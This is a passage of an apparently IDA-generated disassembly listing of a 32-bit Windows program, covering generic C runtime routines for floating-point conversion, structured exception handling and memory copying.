		mov	off_43D420, eax
		mov	off_43D428, offset sub_42223B
		mov	off_43D42C, offset sub_42217B
		mov	off_43D430, offset sub_422223
		mov	off_43D434, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE28
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE70
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
